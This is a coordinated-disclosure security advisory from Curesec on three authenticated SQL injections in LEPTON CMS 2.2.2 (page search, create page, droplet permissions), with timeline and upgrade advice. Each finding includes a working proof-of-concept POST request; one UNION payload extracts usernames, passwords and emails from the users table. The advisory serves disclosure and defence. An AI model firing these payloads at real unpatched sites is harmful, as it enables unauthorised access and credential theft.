Security Advisory - Curesec Research Team 1. Introduction Affected Product: LEPTON 2.2.2 stable Fixed in: 2.3.0 Fixed Version Link: http://www.lepton-cms.org/posts/ important-lepton-2.3.0-101.php Vendor Website: http://www.lepton-cms.org/ Vulnerability Type: SQL Injection Remote Exploitable: Yes Reported to vendor: 09/05/2016 Disclosed to 11/10/2016 public: Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview Lepton is a content management system written in PHP. In version 2.2.2, it is vulnerable to multiple SQL injections. The injections require a user account with elevated privileges. 3. Details SQL Injection: Search Page CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P Description: The "terms" parameter of the page search is vulnerable to SQL Injection. A user account with the right "Pages" is required to access this feature. Proof of Concept: POST /LEPTON_stable_2.2.2/upload/admins/pages/index.php?leptoken= 3f7020b05ec343675b6b2z1472137594 HTTP/1.1 Host: localhost Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID= fkb7do1domiofuavvof5qbsv66; lep8765sessionid=f3a67s8kh379l9bs2rkggtpt12 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 154 search_scope=title&terms=" union select username,2,3,4,5,6,password,email,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from lep_users -- -&search=Search Blind or Error-based SQL Injection: Create Page CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P Description: The "parent" parameter of the create page functionality is vulnerable to SQL Injection. A user account with the right "Pages" is required to access this feature. The injection is blind or error based in the case that PHP is configured to show errors. Proof of Concept: POST /LEPTON_stable_2.2.2/upload/admins/pages/add.php?leptoken= dbbbe0a5cca5d279f7cd2z1472142328 HTTP/1.1 Host: localhost Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID= fkb7do1domiofuavvof5qbsv66; lep8765sessionid=uniltg734soq583l03clr0t6j0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 84 title=test&type=wysiwyg&parent=0 union select version()& visibility=public&submit=Add Blind or Error-based SQL Injection: Add Droplet CVSS: Medium 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P Description: The "Add_droplets" parameter of the droplet permission manager is vulnerable to SQL injection. A user account with access to the Droplets administration tool is required. The injection is blind or error based in the case that PHP is configured to show errors. Proof of Concept: POST /LEPTON_stable_2.2.2/upload/admins/admintools/tool.php?tool=droplets& leptoken=1eed21e683f216dbc9dc2z1472139075 HTTP/1.1 Host: localhost Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=fkb7do1domiofuavvof5qbsv66; lep8765sessionid= f3a67s8kh379l9bs2rkggtpt12 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 277 tool= droplets&perms=1&Add_droplets%5B%5D=1&Add_droplets%5B%5D=2' WHERE attribute= 'Add_droplets' or extractvalue(1,version())%23&Delete_droplets%5B%5D=1& Export_droplets%5B%5D=1&Import_droplets%5B%5D=1&Manage_backups%5B%5D=1& Manage_perms%5B%5D=1&Modify_droplets%5B%5D=1&save=Save 4. Solution To mitigate this issue please upgrade at least to version 2.3.0: http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php Please note that a newer version might already be available. 5. Report Timeline 09/05/2016 Informed Vendor about Issue 09/06/2016 Vendor requests 60 days to release fix 10/25/2016 Vendor releases fix 11/10/2016 Disclosed to public Blog Reference: https://www.curesec.com/blog/article/blog/Lepton-222-SQL-Injection-173.html -- blog: https://www.curesec.com/blog tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Josef-Orlopp-StraAe 54 10365 Berlin, Germany